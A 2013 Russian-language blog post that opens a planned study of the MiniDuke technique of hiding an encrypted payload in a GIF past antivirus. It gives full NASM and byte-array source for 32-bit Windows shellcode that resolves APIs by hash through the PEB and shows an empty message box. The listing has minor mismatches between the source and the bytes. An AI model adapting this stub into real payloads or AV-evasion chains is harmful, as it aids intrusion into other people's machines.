Общее·количество·просмотров·страницы

воскресенье, 5 мая 2013 г.

hell yeah!)

Вот типа и я))).
Как я говорил раньше,если бы была олимпиада по лени-я был бы чемпионом мира)
ну суть не в этом в общем,я хочу провести теперь небольшое исследование.
меня заинтересовала эта тема,про mini duke malware, конкретно алгоритм который описывал sn0w из античата:

короче через хипспрей исполняется шеллкод, а исполняется ясен пень в бровсере. бровсер скачивает гифку, авер же не может понять че там нарисовано. поскольку пейлод зашифрован то и понять невозможно, данные ли это изображения или чето еще. поэтому спокойно пропускает. далее шеллкод раскриптовывает скачанный пейлод и запускает его.

я не буду показывать технику хипспрей(как работает можно найти в тырнете,в целом не трудно) предположительно план таков:

1)Напишем шеллкод (потому что хоть это у меня готово)
2)прокурим что это за тема такая "стеганография"
3)попробуем разобраться с переполнением на собственном примере
4)и попробуем сделать так что бы шеллкод исполнился в 3-пункте

// последние два пункта я не уверен еще ахаха)

А пока начнем с шеллкода.
что это,как пишется и т.д. и т.п. довольна обширная тема, к прочтению советуется wasm и статья slesh'a на античате.
я же скажу вкратце: шеллкод=базонезависимый код, прежде всего.
т.е. он должен работать например на линейке ОС windows с 2000 по 8 скажем, ну или как то так.

что бы добиться базонезависимости, мы понятно должны отречься от зашитых адресов функций из других систем windows ( потому что даже банальный патч или сервиспак уже может этот адрес изменить,и ясно дело шеллкод не будет работать).должны отречься от использования системных loadlibrary и getprocaddress (хотя они вроде и на древних виндах есть,но имхо это не шеллкод,а хрень получится),в идеале конечно шеллкод не должен содержать нуль-байтов, но это так,нам для наглядности и обычный подойдет.

Примерный алгоритм таков:
1)находим т.н. список модулей ininitorder
2)получаем указатель на kernel (обычно через PEB)
3)находим PE заголовок и таблицу экспорта имен
4)прошвыриваемся по таблице,сравнивая 16 битный хеш функции с нужным нам хешем
5)нашли хеш-находим адрес
6)нашли адрес-передаем параметры,вызываем.

и так я не мог проверить на древних виндах (если честно лень))))
работает на всех паках xp и 7 х86-х64
при выполнении выводит пустое окошко messagebox

написано на netwide assembler, исполнено на delphi (BASM).

приступим:

bits 32

rork equ 1

xloadlibrary equ 1101010101010b

xmessagebox equ 1011011000101010b

указываем что код 32-битный и указываем сдвиг для хеша, и хеши как вы догадались loadlibrary и messagebox

find_hash: 
    xor     ecx, ecx                  
    mov     esi, [fs:ecx + 0x30]       
    mov     esi, [esi + 0x0c]           
    mov     esi, [esi + 0x1c]          
next_module:
    mov     ebp, [esi + 0x08]           
    mov     edi, [esi + 0x20]          
    mov     esi, [esi]                 
    cmp     [edi + 12*2], cl
    jne     next_modul

находим ininitorder через PEB, получаем baseaddress, module name и проверяем закончились ли модули.

xgetprocaddress: 
    mov     ebx, [ebp + 0x3c]          
    mov     ebx, [ebp + ebx + 0x78]    
    add     ebx, ebp                    
    mov     ecx, [ebx + 0x18]          
    jcxz    next_module 

находим заголовок PE и таблицу экспорта,а также число указателей имен ф-й.

теперь честно спизженная функция поиска по хешу :D

next_function_loop: 
    mov     edi, [ebx + 0x20]          
    add     edi, ebp                   
    mov     edi, [edi + ecx * 4 - 4]   
    add     edi, ebp                    
    xor     eax, eax                    
    cdq                                
hash_loop:
    xor     dl, [edi]
    ror     dx, byte rork
    scasb
    jne     hash_loop
    cmp     dx, xmessagebox
    je      found_messagebox           
    cmp     dx, xloadlibrary
    loopne  next_function_loop          
    jne     next_module       
         
found_messagebox:
   
    mov     edx, [ebx + 0x24]          
    add     edx, ebp                   
    movzx   edx, word [edx + 2 * ecx]   

    mov     edi, [ebx + 0x1c]           
    add     edi, ebp                    
    add     ebp, [edi + 4 * edx]       
    test    esi, esi
    jz      messagebox

проходимся по модулям по таблицам сравнивая хеши-нашли прыгаем, иначе грузим user32 dll т.к. messagebox содержится там

loadlibrary:                         
    xor ecx, ecx
    mov cx, 0x3233  
push ecx

push 0x72657375
push    esp                         

    call    ebp                        
    xchg    eax, ebp                    
    xor     esi, esi                   
    jmp     xgetprocaddress

значения,заталкиваемые в стэк, ничто иное как строка в хекс виде.
грузим dll- ку. в ebp будет указатель на нее.

ну осталось только вызвать
    xor      eax, eax
    push    eax    
    push    eax  
    push    eax    
    push    eax                       
    call    ebp 

вызываем как обычную АПИ.

Вот и все, получается такой себе 130 байтовый шеллкодес вызывающий сообщение)

проверим его таким методом:

program Project2;
var
data: array[0..129] of byte = (
$31, $C9, $64, $8B, $71, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E, $08, $8B,
$7E, $20, $8B, $36, $38, $4F, $18, $75, $F3, $8B, $5D, $3C, $8B, $5C, $1D, $78,
$01, $EB, $8B, $4B, $18, $67, $E3, $E4, $8B, $7B, $20, $01, $EF, $8B, $7C, $8F,
$FC, $01, $EF, $31, $C0, $99, $32, $17, $66, $C1, $CA, $01, $AE, $75, $F7, $66,
$81, $FA, $2A, $B6, $74, $09, $66, $81, $FA, $AA, $1A, $E0, $DB, $75, $BD, $8B,
$53, $24, $01, $EA, $0F, $B7, $14, $4A, $8B, $7B, $1C, $01, $EF, $03, $2C, $97,
$85, $F6, $74, $14, $31, $C9, $66, $B9, $33, $32, $51, $68, $75, $73, $65, $72,
$54, $FF, $D5, $95, $31, $F6, $EB, $A1, $6A, $00, $6A, $00, $6A, $00, $6A, $00,
$FF, $D5
);
begin
asm
lea eax,data
call eax
end;
end.

с первой частью покончено. продолжим чуть позже)

upd я немного изменил шеллкод,что бы был без нульбайт.